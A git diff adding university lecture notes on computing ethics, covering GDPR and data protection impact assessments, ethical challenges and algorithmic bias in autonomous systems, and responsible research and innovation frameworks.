+> That’s why the BCS and ACM include “respect for privacy” as a requirement in their ethics codes, and the IEEE has a separate Data Access and Use policy to align it with industry best practice and ensure compliance with international regulations including the European Union’s General Data Protection Regulation or GDPR
+
+### Informational Privacy
+
+Informational privacy is a subset of general privacy concerns.
+
+Warren and Brandeis argued that technology enabled harms to privacy including intrusion into one’s private life and affairs
+
+- public disclosure of embarrassing private facts
+- unwanted publicity
+- misuse of a person’s name or likeness for financial advantage.
+
+Informational privacy is thus a concern with the protection of personal or private information from unauthorised disclosure and misuse. https://plato.stanford.edu/entries/privacy
+
+### Relevant Authority
+
+From a UK perspective, GDPR still applies because it was adopted into UK law by the Data Protection Act 2018 and is enforced by the Information Commissioner’s Office or ICO, so it’s clearly relevant to BCS accreditation.
+
+> GDPR has global reach and violations may result in fines of up to 20 million euros or 20 up to 4 % of the total worldwide annual turnover of the preceding financial year, whichever is higher (Article 83)
+
+###### Definitions
+
+The **data subject** is a natural person, an individual who can be identified, directly or indirectly, by the personal data.
+
+**Personal data** is **any** information relating to an identified **or** identifiable person (i.e., the ‘data subject’), **either directly or indirectly**. Personal data includes a bunch of technical information including such things as account handles, IP or MAC addresses, cookies, RFID frequencies, device fingerprints, etc.
+
+- The key point here is that personal data may not directly link to a *data subject* as say a passport might
+- But may relate indirectly to a person once the data has been procesed
+
+**Processing** means any operation or set of operations which is performed on personal data or on sets of personal data, whether or not by automated means.
+
+Processing includes:
+
+- collection
+- structuring
+- storage
+- alteration
+- retrieval
+- combination
+- adaptation
+- consultation
+- use, disclosure, dissemination, making available, restriction, erasure or destruction of personal data.
+
+Basically, if you touch someone’s personal data in any way you are involved in processing it. Processing does not just mean the data is run through a computer in some way.
+
+Similarly, **processor** does not refer to a CPU on a computer, but to the person, legal entity, public authority, agency or other body which processes personal data on behalf of the controller and may use computing to do so.
+
+**Controller** means the person, legal entity, public authority, agency or other body which, alone or jointly with others, determines the purposes for which personal data will be processed and the means of processing them.
+
+**Data protection** officer or **DPO**, who may be an employee of the controller or processor or an independent contractor who has expert knowledge of data protection law and must be consulted by the controller or processor in a timely manner in all issues which relate to the protection of personal data. A DPO must be appointed if a controller or processor’s core activities involve the processing of personal data on a large scale or involve large scale, regular and systematic monitoring of individuals.
+
+#### GDPR
+
+GDPR places specific legal requirements on controllers, which directly impact processors.
+
+> **Article 23 of GDPR** says that, “1. Taking into account the state of the art, the cost of implementation and the nature, scope, context and purposes of processing as well as the risks … posed by the processing, the controller shall, both at the time of the determination of the means for processing and at the time of the processing itself, implement appropriate technical and organisational measures … in an effective manner and … integrate the necessary safeguards into the processing in order to meet the requirements of this Regulation and protect the rights of data subjects. 2. The controller shall **implement** appropriate technical and organisational measures … **by default** …”
+
+> The European Data Protection Board or EDPD, which furnishes guidance on GDPR tells us that, “a ‘default’, as commonly defined in computer science, refers to the pre-existing or preselected value of a configurable setting that is assigned to a software application, computer program or device. Such settings are also called ‘presets’ or ‘factory presets’.” EDPB Guidelines
+
+So the term **implement by default** in GDPR refers to the design of preset technical and organisational measures to ensure that data processing operations meet the requirements of GDPR and thus protects the legal rights of data subjects. We’ll take a look at what those presets are about shortly.
+
+The controller is legally **accountable** for the choice of presets and implementing data protection by design and default. (Article 5 GDPR)
+
+This means that the controller must be able to **demonstrate** to themselves, to data subjects and to supervisory authorities alike that the technical and organisational measures they have put in place are a) appropriate and b) effective in ensuring data protection by design and default.
+
+### Data Protection by Design and default
+
+By default controllers must be **transparent** about how they collect, use and share personal data and how data subjects may exercise their legal rights over data processing.
+
+These include:
+
+- the right to access any personal data held by the controller that relates to the data subject (Article 15)
+- to object to the processing of personal data (Article 21)
+- obtain human intervention when querying automated decisions (Article 22)
+- to restrict processing (Article 18)
+- to rectify inaccuracies (Article 16)
+- to export data in a commonly used and machine-readable format (Article 20)
+- to have data erased and be forgotten (Article 17).
+
+> **Recital 63** which says, “Where possible, the controller should be able to provide remote access to a secure system which would provide the data subject with direct access to his or her personal data.”
+
+So transparency is something that needs to built into systems in the long term and not simply be seen as a matter of appending documentation to their use.
+
+The controller must also by default identify and declare a **valid legal basis** for the processing. Six legal grounds exist including:
+
+1. consent
+2. performance of a contract
+3. compliance with a legal obligation
+4. protecting vital interests
+5. carrying out a task in the public interest or official duty
+6. pursuing legitimate interests.
+
+Fairness is an overarching principle of data protection, which requires that personal data should not be processed in ways that are unjustifiably detrimental, unexpected or misleading to the data subject.
+
+Fairness is especially important with respect to data processing operations that rely on machine learning and AI, for as we saw in lecture 2 these technologies are responsible for widespread discrimination.
+
+The controller must also ensure that data is only collected for **specific, explicitly stated purposes** and that data is not further processed in a manner that is incompatible with the purposes for which they were initially collected.
+
+This is called **purpose limitation**. It means a controller cannot simply collect as much data as they like and do with it what they want. Data collection must be limited by default to specific purposes which are transparent to the data subject.
+
+**Data minimisation**: the controller must ensure that data collection is limited to what is necessary to meet the purposes for which they are being processed.
+
+Data minimisation requires that the controller verify whether the purposes can be achieved by processing less personal data, or having less detailed or aggregated personal data or without having to process personal data at all. Such verification should take place before any processing takes place, and be carried out at any during the processing lifecycle.
+
+Data minimisation also refers to the degree of identification. If the purpose does not require the final set of data to refer to an individual (such as statistics) - then the controller should delete or anonymise personal data as soon as possible. If continued identification is needed for other processing activities, personal data should be pseudonymized to mitigate risks for the data subjects’ rights.
+
+By default, the controller must **limit** the period for which personal data kept in a form which permits identification of data subjects are **stored** and retain data in such a form for no longer than is necessary to meet the purposes for which it has been collected.
+
+No time periods are specified by GDPR, it all depends on the purposes for which the data was collected and the risks that attach to keeping the data in identifiable form. Anonymised data can be stored indefinitely, though risks of reverse engineering attach to pseudonymised data, which need to be mitigated if the data is to be retained for long periods.
+
+By default, the controller must put technical and organisational measures in place to protect personal data against unauthorised access, accidental loss, destruction or damage, and to manage data breaches.
+
+- Regular reviews should be conducted to make sure it is being stored securely
+
+### Data Protection Impact Assessment
+
+DPIA - **D**ata **P**rotection **I**mpact **A**ssessments
+
+> DPIAs are mandated by **Article 35 GDPR**, which says that “Where a type of processing in particular using new technologies … is likely to result in a high risk to the rights and freedoms of natural persons, the controller shall, prior to the processing, carry out an assessment of the impact of the envisaged processing operations on the protection of personal data.”
+>
+> Article 35 goes on to say that a DPIA “shall in particular be required” in the case of automated processing, including profiling, and systems that produce decisions that have legal effects (e.g., which effect a person’s right to claim state benefits) or similarly significantly affect the natural person (e.g., by assessing their creditworthiness). This applies especially to machine learning and AI systems.
+
+A DPIA is also required by law where large amounts of special category data are processed.
+
+Special category data is data that reveal racial or ethnic origin, political opinions, religious or philosophical beliefs, or trade union membership, and the processing of genetic data, bio-metric data for the purpose of uniquely identifying a natural person, data concerning health or data concerning a natural person's sex life or sexual orientation.
+
+DPIAs are legally required for these areas of personal data processing, but they are generally recommended as “good practice” for any processing of personal data. https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/accountability-and-governance/data-protection-impact-assessments/
+
+### How to know when processing is high risk
+
+There are 4 critieria specified in GDPR article 35
+
+1. The use of new technologies to process personal data
+2. Automated-decision making with legal or significant effect
+3. Processing of special category data
+4. Systematic monitoring of public spaces
+
+There are additional criteria
+
+5. **Evaluation or scoring, including profiling and predicting**
+ - especially of data concerning the data subject's performance at work, economic situation, health, personal preferences or interests, reliability or behavior, location or movements.
+ - Examples of this are financial institutions that screen customers against a credit reference database
+6. **The processing of sensitive data or data of a highly personal nature**
+ - Not only special categories of personal data, but also any data considered as sensitive as the term is commonly understood
+ - e.g., data linked to household and private activities (such as electronic communications), or data that impact the exercise of a fundamental right (such as location data whose collection may impact freedom of movement), financial data, personal documents, personal information contained in life-logging applications, etc.
+7. **The processing of personal data on a large scale**
+ - which is determined by the number of data subjects concerned
+ - the volume of data and/or the range of different data items being processed
+ - the duration or permanence of the data processing activity
+ - the geographical extent of the processing activity
+8. **Matching or combining datasets**
+ - data originating from two or more data processing operations performed for different purposes and/or by different data controllers in a way that would exceed the reasonable expectations of the data subject.
+9. **Data is processed that relates to vulnerable data subjects**
+ - For example, children, employees, and vulnerable persons requiring special protection such as mentally ill persons, asylum seekers, the elderly, patients, etc.
+ - Indeed any personal data where an imbalance in the relationship between the data subject and the controller can be identified and processing increases the power imbalance between them.
+10. **Data processing that prevents data subjects from exercising a right, using a service or entering into a contract**
+ - This includes processing operations that permit, modify or refuse data subjects’ access to a service or entry into a contract.
+ - An example of this is where a bank screens its customers against a credit reference database in order to decide whether to offer them a loan.
+
+**If a processing operation meets 2 of these criteria, then a DPIA is required by law.**
+
+#### Whats involved in carrying out a DPIA?
+
+###### Step 1
+
+Identify the need for a DPIA, which is done by applying the criteria we have just discussed.
+
+Must be done before processing takes place
+
+###### Step 2
+
+Specify the nature of the processing including the source of the data
+
+- the nature of the data and its status (e.g., special category, sensitive, vulnerable, etc.)
+- how it will be collected, used, stored and deleted
+- the amount of data to be collected
+- the frequency and duration of collection and storage, and the geographical area covered
+- the flow of data and if it will be shared, how and with who
+- any types of processing that are identified as high risk.
+
+Also involves specifying the purpose or purposes of the processing and what the controller wants to achieve by processing the data, including the intended effect on data subjects (if any), the benefits of the processing to the controller and more broadly.
+
+###### Step 3
+
+Is consider the need for consultation
+
+1. when and how the views of data subjects will be sought
+2. justifying why it is not appropriate to do so
+
+Third & external parties need to be consulted to ensure data protection by design and default
+
+###### Step 4
+
+Accessing necessity and proportionality, which involves specifying how the processing will actually achieve the purpose and that there is no other way to achieve the same outcome.
+
+- the lawful basis for processing
+- how data minimisation and data quality will be ensured
+- how function creep will be prevented; what information will be given to data subjects and their rights will be supported
+- measures that will be taken to ensure processors are in compliance with DPbDD
+- how any international data transfers will be safeguarded.
+
+###### Step 5
+
+Identify and assess risks and involves identifying sources of risk and specifying
+
+1. risks to data subjects
+2. corporate risks
+3. compliance risks
+
+and the potential impact of each.
+
+###### Step 6
+
+Identify and specify measures to mitigate the risks, including the options available to
+
+1. reduce risk
+2. eliminate risk
+
+###### Step 7
+
+Have the DPAI signed off and outcomes recorded. If the DPO’s advice is overruled, justification must be provided, as must the reasons for not abiding by consultation outcomes. A **review date must also be specified** for the DPIA and done so over the lifetime of a processing operation.
+
+You cannot do a DPIA on your own. IBM’s Dave Whitelegg says you must have the following invovled
+
+> - The developer lead or project manager, who is responsible for managing the DPIA process.
+> - A data protection officer who must be consulted about and sign off on the DPIA process*.*
+> - A security specialist who must verify that best practises are adopted throughout development.
+> - A risk manager to advise on privacy risk management.
+> - Project sponsors and business directors, who are accountable for privacy risks.
+> - And where processing operations are developed for external organisations, who must be able to verify that the processing is compliant with GDPR.
+
+### Relevance of DPbDD and DPIA to computing
+
+Now you might be tempted to think that data protection by design and default and DPIAs have little if anything to do with the actual business of developing computing systems.
+
+However, we should not forget that documentation is a key part of the software engineering process – particularly requirements engineering – and that poor requirements specification is a primary source of computing failure.
+
+> As IBM’s Dave Whitelegg puts it, “GDPR privacy obligations should be documented as requirements within the requirements analysis phase of the Software Development Lifecycle or SDLC. The DPIA should be performed within the design phase of the SDLC. Then, further privacy risk verification should be conducted throughout the latter phases of the SDLC, to assure the privacy requirements are all achieved, and the design mitigates or eliminates privacy risks as intended.” *Dave Whitelegg (2018) Application privacy by design*
+
+#### Privacy Engineering
+
+> Dave Whitelegg also tells us that while GDPR does not prescribe technical solutions, indeed it is in its own words “technologically neutral” (GDPR, recital 15), that nonetheless a “number of technical solutions that can be utilized to significantly enhance the protection of personal data” *Dave Whitelegg (2018) Minimising application privacy risk.*
+
+###### OWASP’s Security Principles
+
+1. Data anonymisation methods include: nulling, deletion and redaction, which involves removing all direct and indirect identifier fields in a dataset,
+ - removing names or postcodes.
+2. Substitution, which involves overwriting personal data identifier fields with fake personal data.
+3. Data masking, which involves substituting identifier field characters with a ‘mask’ character,
+ - e.g., inserting X’s instead numbers on a credit card field.
+4. Scrambling / shuffling, which involves moving the contents of identifier fields around
+ - e.g. moving surnames up or down.
+5. Aggregation / generalisation, which involves rendering data in statistical form.
+6. Hashing provides a method of pseudonymisation and involves using an algorithm to transform personal data fields into alphanumeric strings.
+7. Penetration testing is recommended to verify whether these methods enable reidentification in any actual case.
+
+https://owasp.org/www-project-top-ten/
+
+Privacy engineering may help you implement the presets and meet the requirements, but it is your **ethical responsibility** to know and respect the rules that pertain to professional work. You now know what rules you need to follow to respect people’s privacy and protect their data.
+
diff --git a/docs/lectures/ethics/08_autonomous_systems.md b/docs/lectures/ethics/08_autonomous_systems.md
new file mode 100644
index 0000000..6d7b805
--- /dev/null
+++ b/docs/lectures/ethics/08_autonomous_systems.md
@@ -0,0 +1,102 @@
+# Automonous Systems
+
+Autonomous systems include robots and cyber physical systems that actuate or perform actions in the world, and algorithmic systems particularly machine learning systems or AI.
+
+The UK robotics and autonomous systems or RAS network identifies 7 key ethical challenges that confront autonomous systems. These include
+
+1. bias
+2. opacity
+3. privacy
+4. safety
+5. deception
+6. employment
+7. oversight.
+
+> “The race between job creation through new products and job destruction from new technologies has in the past been won by the job-creating effects of innovation. There is no guarantee for a happy end this time; however, an important lesson from the past is that we tend to under-estimate the job-creating potential of fundamental technological transformations, because we lack sufficient knowledge and imagination about the types of jobs that will be created under the new technological paradigm.
+>
+> https://www.europarl.europa.eu/RegData/etudes/STUD/2018/614539/EPRS_STU(2018)614539_EN.pdf
+
+Alan Winfield and Marina Jirotka in their Royal Society paper on building societal trust in autonomous systems: http://dx.doi.org/10.1098/rsta.2018.0085. They thus propose 5 pillars of good governance, which include establishing a machine intelligence commission to address public fears, including the impact of autonomous systems on jobs. The UK Government established an AI Council in 2019. Regulation is seen as the second pillar of good governance, as are standards, such as those established by professional bodies including the BCS, ACM and IEEE.
+
+###### The Third Pillar
+
+Recommends we take particular care about the use of AI in safety critical systems. Of particular concern, as we will take a closer look at later in this lecture, are artificial neural networks, whose decision-making cannot easily be verified. Neural networks learn for themselves and how they arrive at particular decisions is extremely difficult if not impossible to determine.
+
+###### Fourth Pillar
+
+Good governance, transparency not only of product, i.e., how an autonomous system arrived at a decision, but also of process and how such machines are developed. The concern with process involves
+
+- developing ethical codes
+- ensuring ethical training for everyone involved in development
+- being transparent about how development is governed
+- taking the need for good governance seriously.
+
+###### Fifth Pillar
+
+Build ethical governors into autonomous systems which would enable a robot or AI system to evaluate the consequences of its actions and modify its actions according to a set of ethical rules.
+
+This is a longstanding ideal in AI, which must address the fundamental problem of encoding and implementing ethics, all of which begs the question of who’s ethics get encoded and implemented? Pillar five is then the most idealistic, problematic and challenging of Winfield and Jirotka’s proposals.
+
+### Deception
+
+Another key ethical challenge of autonomous systems is posed by humanoid or animal-like robots, which create significant risks of emotional attachment and dependency issues, especially for naive or vulnerable users, that we need to be particularly attentive to.
+
+For example, Babyclon’s animatronic babies and the strong emotions they evoke in those who ‘care’ for them and those who don’t. https://www.theguardian.com/lifeandstyle/video/2020/feb/26/reborn-baby-dolls-women-collectors-video
+
+The issue of deception is part of a broader set of ethical principles governing the development of robots advocated by the UK’s Engineering and Physical Sciences Research Council or EPSRC
+
+- **Principle 1** states that robots should not be designed solely or primarily to kill or harm humans, except in the interests of national security.
+- **Principe 2** states that humans, not robots, are responsible agents and that robots should therefore be designed and operated in compliance with existing laws and respect the fundamental rights and freedoms of human beings, including privacy.
+- **Principle 3** states that robots should be designed to be safe and secure.
+- **Principle 4** states that robots are manufactured artefacts and their machine nature should therefore be transparent so as to avoid deception.
+- **Principe 5** states that the party with legal responsibility for a robot should always be attributed, which is to say that it should always be possible to find out who is responsible for any robot.
+ - This of course is not a straightforward matter as the disruption of flights at airports by drones demonstrates.
+
+### Algorithmic Bias
+
+Bias is a concern with the validity of outputs or decisions made by autonomous systems, particularly with whether or not those outputs or decisions **discriminate** against individuals and/or social groups and thus treat them unfairly.
+
+Discrimination is rife in computing today:
+
+- webcams that fail to track black people’s faces
+- auto-tagging of black people and women as animals or gorillas
+- systematic targeting of racial minorities by the police and undue sentencing of black people
+- systematic discrimination against female job candidates and black patients in need of healthcare
+- the A-Level debacle in the UK
+
+Discrimination, is a specific form of harm based on a personal characteristics including gender identity, marital status, sexual orientation, colour, race, ethnic origin, nationality, religion, age, union membership, political affiliation, military status, and disability.
+
+These characteristics are otherwise called **“special categories of personal data”** or **“protected characteristics”** and are regulated by GDPR and equality legislation, which would appear to provide a relatively straightforward way of tackling algorithmic bias.
+
+#### Sources of Algorithmic Bias
+
+Selena Silva and Martin Kenney identify 9 sources of algorithmic bias within the ML life cycle. https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3246252
+
+1. **Training bias**
+ - The data used to train the algorithm may be unrepresentive or prejudiced
+ - A facial recognition algorithm is trained on data which primarily consists of white faces, it will be worse at recognising black faces and may even categorise them wrongly.
+2. **Algorithmic focus bias**
+ - The attributes it takes into account and either includes or excludes
+ - The exclusion of gender or race in a health diagnostic algorithm can lead to inaccurate and harmful outcomes.
+ - Whereas the inclusion of gender or race in a sentencing algorithm can lead to discrimination against protected groups.
+3. **Algorithmic processing bias**
+ - Thomas Guskey and Lee Ann Jung found, for example, that when an ML algorithm processed student grades across a learning module, it scored students based on the average marks for their assignments, but when teachers were given the same data, they adjusted the students’ score according to their progress and understanding of the material and provided a fairer assessment of students learning. https://core.ac.uk/download/pdf/232576892.pdf
+4. **Non-transparency bias**
+ - The lack of transparency about algorithmic decision-making.
+ - This is not only to do with how decisions were arrived, but also concerns IPR and trade secrets and what developers are willing and expected to divulge about their ML systems and AI
+5. **Transfer context bias**
+ - The use of ML systems in inappropriate or unintended contexts is also a source of bias. The use of credit scores as a variable in employment provides a ready example of what is called “**transfer context bias**”
+ - Employer’s request credit checks on job candidates, which effectively means that bad credit is being equated with bad job performance.
+6. **Automation bias**
+ - A human bias which involves the users of algorithmic systems treating outputs as objectively true, rather than as statistical probabilities.
+ - Such as the COMPAS system used by judges in sentencing criminals in the US, provides a good example, where a judge might take the output at face value and apply it uncritically, without reference to other information
+ - Automation bias is very much a case of “computer says so …”
+7. **Consumer bias**
+ - Is bias expressed by the users of digital platforms
+ - Great care needs to be taken with ML systems trained on such data, as they will reflect consumer bias and be inherently prejudiced in one way or another.
+8. **Feedback loop bias**
+ - Where ML systems learn from user behaviour, including discriminatory behaviour.
+ - So even though an ML system may have been developed without bias in its training, focus and initial processing of data, over time bias may be introduced through use.
+ - Twitter taught Microsoft’s AI chatbot Tay to be a racist in less than a day.
+9. **Interpretation bias**
+ - Occurs when users interpret outputs according to their own prejudices. For example, it is ultimately up to a judge to interpret the score provided by a recidivism prediction system such as COMPAS, and to decide what action to take. However, a judge may interpret a risk score of 6 as high in a particular case, while they may treat it as indicator of medium or even low risk in another.
\ No newline at end of file
diff --git a/docs/lectures/ethics/09_responsible_research.md b/docs/lectures/ethics/09_responsible_research.md
new file mode 100644
index 0000000..535710c
--- /dev/null
+++ b/docs/lectures/ethics/09_responsible_research.md
@@ -0,0 +1,197 @@
+# Responsible Research and Innovation
+
+RRI - **R**esponsible **R**esearch and **I**nnovation
+
+#### What is RRI
+
+An 80 billion euro programme to tackle:
+
+- Health, demographic change and the well-being of citizens
+- Food security and sustainable agriculture
+- Sustainable and efficient energy
+- Smart, green transport
+- Climate action, resource efficiency and raw materials
+- Inclusive and innovative society
+- Secure society protecting the rights and freedoms of citizens
+
+What RRI seeks to achieve with respect to these grand challenges is **situate** science and technology development in its **social context**. Fundamentally, RRI aims to drive high quality innovations in science and technology that are in the public interest and create a society in which research and innovation practices work towards **ethically acceptable, socially desirable and sustainable outcomes**.
+
+#### Responsible Innovation
+
+Now Stilgoe et al. posit 4 ‘dimensions’ or aspects of responsible innovation that together provide **a heuristic framework supporting** **ethical governance** **of research and innovation**. These include anticipation, reflexivity, inclusion and responsiveness.
+
+**Anticipation**
+
+Thinking through potential social risks of future visions of technology
+
+**Anticipation** recognises that the detrimental effects of new technologies are often unforeseen – take, for example, the range of social harms we considered in lecture 1 – and that existing approaches to R&I have commonly failed to provide early warnings of future effects.
+
+Anticipation seeks to remedy this situation by encouraging organisations and individuals involved in research and innovation to ask “what if” questions about their work and in doing so to consider what is known, what is possible, what is likely, what is plausible, and what contingencies might well impact their visions of science and technology.
+
+Anticipating and mitigating risk is also a key plank of the proposed EU regulation of AI, which means that anticipation is not a conceptual abstraction but something that many of you will be legally required to actively engage in and document in your professional work.
+
+**Reflexivity**
+
+**Reflexivity** requires that researchers and innovators hold a mirror up to themselves and their activities, including the assumptions that underpin our work. It requires that we develop awareness of the limits of our knowledge, and are mindful that the ways in which we think about and frame problems and challenges may not be universally held.
+
+Reflexivity is particularly important at an institutional or organisational level to ensure that the value systems, theories and practices that shape research and innovation and its governance are subject to scrutiny.
+
+This is called “second-order reflexivity” and contrasts with “first-order reflexivity”, where individuals reflect on and scrutinise themselves privately. Second-order reflexivity seeks to make reflexivity a public matter and leads to kinds of consideration of ethical governance proposed by Alan Winfield and Marina Jirotka we discussed in lecture 7.
+
+Reflexivity is key to the development of ethically acceptable and socially desirable innovations. It requires researchers and innovators see beyond organisational boundaries and responsibilities and consider their wider, moral responsibilities.
+
+**Inclusion**
+
+**Inclusion** recognises the need to open up anticipatory visions of future social worlds to public dialogue in ways that critically interrogate the social, political and ethical viewpoints implicated in technology development.
+
+Inclusion requires that we are sensitive to
+
+- a) the ‘intensity’ of public engagement – i.e., how early members of the public and other stakeholders are consulted in the innovation process
+- b) ‘openness’ – i.e., how diverse the sample is and who is represented
+- c) the ‘quality of engagement’, including the gravity or seriousness of public and stakeholder involvement and the continuity of engagement and discussion throughout the research and innovation process.
+
+**Responsiveness**
+
+**Responsiveness** recognises that responsible innovation must be able to change shape or direction in response to public and stakeholder viewpoints and values, and to changing circumstances. Responsiveness involves building new knowledge into the research and innovation process as it emerges.
+
+Stilgoe et al. also place emphasis on the role of governance approaches in R&I, including research funding, intellectual property regimes and technological standards, which may act to close down responsiveness, along with other norms and expectations that reinforce particular dependencies and lock-ins. In short, if RRI is to be effective we also need to be attentive to the environment which enables R&I and the structures that organise it, in order to counter the “logic of unresponsiveness” that underpins findings like Birhane’s.
+
+### AREA Framework
+
+https://www.epsrc.ac.uk/research/framework
+
+The framework is called **AREA** and reflects the 4 dimensions of Stilgoe et als responsible innovation framework, reframed as Anticipate, Engage, Reflect and Act.
+
+**Anticipate** asks researchers to describe and analyse any economic, social and / or environmental impacts, intended or otherwise, that might arise from the proposed research. The aim is not to predict the actual impact of the proposed research, but to explore potential impacts and implications of the research that may otherwise remain ignored during the research the process.
+
+**Reflect** asks researchers to reflect on the purposes, motivations, and potential implications of their research, and the associated uncertainties, areas of ignorance, assumptions, framings, questions, dilemmas and social transformations these may occasion.
+
+**Engage** asks researchers to open up their research visions and their potential impacts to broader deliberation, dialogue, engagement and debate with stakeholders and the public in an inclusive way.
+
+**Act** asks researchers to using the processes of Anticipation, Reflection and Engagement to influence the direction and trajectory of the research and innovation process itself.
+
+So RRI is an important part of the EU and UK research and innovation pipeline and will become much more so now that the UK research councils have been brought together under the umbrella of UK Research and Innovation or UKRI.
+
+## How does RRI work?
+
+The focus of RRI is not only on achieving ethically acceptable, socially desirable and sustainable outcomes. It also and fundamentally concerned with *how* research and innovation is conducted and the parties involved in the process. RRI can thus be broken down into four key elements: **policy**, **stakeholders**, **outcomes**, **process**.
+
+###### Policy
+
+The EU sets out six key policies to shape responsible research and innovation processes, which are target at governments, funding agencies and R&I organisations.
+
+1. Robust goverence
+ - RRI principles should, as a matter of policy, be **embedded in robust** **governance** frameworks. These frameworks should be flexible and adapt to change so as to be capable of responding to the unpredictable nature of research and innovation.
+2. Gender equality
+ - It is also a matter of policy that research and innovation take the perspectives of both men and women into account to ensure outcomes are relevant to the whole population.
+ - Decision-making bodies and R&I organisations should have balanced gender representation and strive to ensure **gender equality** in research and innovation.
+3. Integrity
+ - Honesty, accountability, fairness and good stewardship should be core principles of research and innovation and are key to ensuring the **integrity** of R&I.
+4. Public and stakeholder engagment
+ - The **public and other stakeholders** should, as a matter of policy, be **engaged in research** and innovation processes as early as possible to avoid tokenism, ensure outcomes align with the values, needs and expectations of society and to avert societal backlash
+ - as, for example, happened with the attempted introduction of GM crops into the UK
+5. Open Access (FAIR)
+ - publicly funded research should be **open access** in order to catalyse broader innovation, encourage collaboration and improve the quality of research
+ - Scientific results and data should follow the FAIR principle
+ - results and data should be **F**indable, **A**ccessible, **I**nteroperable, and **R**eusable
+6. Science and technology education
+ - The demand for highly qualified people continues to rise globally and there is also need as a matter of policy for improved **science and technology education** to build the necessary capacity to enable R&I at scale and to provide citizens with the knowledge they need to engage with research and innovation.
+
+###### Stakeholders
+
+RRI involves a range of stakeholders, who should in one way or another be involved in permanent and ongoing dialogue with one another. These stakeholders include:
+
+**Policymakers**, who have the ability to bring stakeholders to the table and foster debate. This not only includes government but funding agencies, the directors R&I organisations and anyone else involved in making decisions that shape research and innovation locally, nationally and internationally.
+
+The **research community** is obviously a key stakeholder in research and innovation and includes everyone in the research and innovation pipeline from science advocates and communicators, to research managers, researchers, technicians and support staff.
+
+**Business and industry**, from start ups to SMEs to large corporates and transnational companies, are all key to research and bringing innovations to bear on social life.
+
+**The education community**, from primary school to university, science centres and museums, and including teachers, students and their families, play a key role in building capacity and promoting public understanding of science and technology.
+
+**Civil society organisations**, such as trade unions, NGOs and the media, also play important roles in shaping research and innovation.
+
+RRI seeks to involve these stakeholders in shaping ethically acceptable, socially desirable and sustainable outcomes. Indeed, in recognising that research and innovation reaches beyond the lab, RRI seeks to foster **shared** **responsibility** for research and innovation and ensure that it that serves the public good.
+
+###### Process
+
+The emphasis placed on shared responsibility is reflected in the RRI process, which seeks to put the responsible innovation framework into action and is characterised by diversity and inclusion, anticipation and reflection, openness and transparency, and responsiveness and adaptive change.
+
+**Diversity and inclusion** emphasise that the RRI process should involve a wide range of stakeholders early in research and innovation to produce outcomes that align with the values and expectations of the groups involved in and affected by R&I. Voices across a diversity of communities should be involved from the beginning of R&I through to its commercialisation, as different perspectives and expertise generate higher quality science and ensure all points of view are taken into account.
+
+**Anticipation and reflection** emphasise that the RRI process should look beyond the immediate impact of research and innovation and reflect on possible unintended consequences that may arise further down the line. Researchers and innovators should explore potential impacts with stakeholders to generate insights that enable the negative consequences to be avoided.
+
+**Openness and transparency** emphasise that the RRI process should be accountable to stakeholders and requires that they are provided with meaningful information during all stages of the process to empower them, encourage engagement, foster debate, scrutinise research and innovation, and enable them to make informed decisions.
+
+**Responsiveness and adaptive change** emphasise that the RRI process should take account of societal need and thus respond to the views expressed by the public and other stakeholders. If necessary, the goals of the research or methods should be adapted and changed.
+
+###### Outcomes
+
+The RRI process is essentially concerned to deliver the right outcomes, where right means that:
+
+1. The process has engaged and empowered stakeholders and the public;
+2. The process has produced outcomes that are ethically acceptable, socially desirable and sustainable;
+3. Outcomes provide solutions to ‘grand’ societal challenges.
+
+## Putting RRI into practice
+
+In order to foster uptake of RRI, the EU funded the RRI Tools project, involving over 25 different institutions across 30 countries. The RRI Toolkit is available online https://rri-tools.eu and is free to access and use. It aims to drive a new culture of research that puts citizens at the centre of innovation.
+
+Abma Tineke and Jacqueline Broerse’s ‘dialogue model’ of participatory research developed in the healthcare sector. The dialogue model has 5 discrete phases, including exploration, consultation, prioritisation, integration, programming and implementation.
+
+**Exploration** is the first phase of the dialogue model and aims to identify and make contact with the different stakeholder organisations, groups, and individuals that should be involved in the research.
+
+**Consultation** does at it suggests and engages stakeholders separately in a dialogue about the research to ensure their voices are heard. Tineke and Broerse emphasize the importance of paying attention to diversity (age, gender, ethnicity, etc.) and being sensitive to asymmetries in power in doing this.
+
+- They underscore the need to empower stakeholders who are not used to actively participating in research to enable “more equal interaction with professionals” and that researchers should pay particular attention to the issues that matter to specific stakeholders.
+- Consultation also involves determining appropriate methods of conducting research dialogues with stakeholders, e.g., interviews, focus groups, questionnaires, observations, etc.
+
+**Prioritisation** as the name suggests is about identifying which research themes that emerge from the consultation process should be take priority.
+
+- This often an iterative process involving further consultation with stakeholders to ensure the right themes are being prioritised appropriately.
+- Importantly it involves consideration of what can reasonably be expected to be achieved within the lifetime of project, which means that while a theme may have high priority for stakeholders, it may not be technically achievable in the available timeframes, which may lead to it being de-prioritised.
+- Prioritisation is a matter of compromise between what stakeholders want and what can be technically delivered.
+
+**Integration** seeks to combine the prioritised research themes into a coherent research agenda.
+
+- It involves bringing the different stakeholders together to discuss the research agenda and to agree upon outcomes.
+- Tineke and Broerse emphasise the need for this dialogue to be fair and for stakeholder groups to be proportionally represented to ensure that no single group dominates agenda setting and that all have an equal say.
+
+The **programming** phase involves specifying a research plan to enable the research agenda to be implemented.
+
+- It involves setting a programming committee involving stakeholder representatives to ensure the research addresses the concerns of all stakeholders as it proceeds into implementation.
+
+And **implementation** obviously involves putting the plan into practice.
+
+- This may involve identifying parties to carry out the research plan, or parts of it, but it also requires oversight and again involves stakeholder representatives on management committees or advisory boards to ensure the research stays on track.
+
+#### Participatory methods in computing
+
+The collective resources approach led to action-based and experience-based design methods that leveraged prototypes as vehicles for participatory research.
+
+Prototyping was established as an alternative approach to requirements specification in the 1970s, replacing a written document subject to the vagaries of interpretation with a functioning version of a computing system.
+
+The **problem** with prototyping is that it is by its very nature a technical exercise, all too often preoccupied with demonstrating technical features to stakeholders and having them sign-off on them.
+
+The challenge that Cooperative Design set out tackle was how to *involve* ordinary people – users and other non-technical stakeholders – in the actual development of prototypes.
+
+Prototyping is a common feature of many design models today, from the spiral model to agile. The contribution of Cooperative Design is to use it as a vehicle for put stakeholder viewpoints and experience at the centre of the design process, not technical specifications and feature demonstrations, and it provides us with a tried and tested way of doing participatory research in computing.
+
+### RRI self-reflection tool
+
+Perhaps the most useful tool in the RRI Toolkit is the self-reflection tool: https://rri-tools.eu/self-reflection-tool
+
+- It helps you determine whether or not your research is responsible.
+
+The public engagement section asks you 10 questions about stakeholder involvement.
+
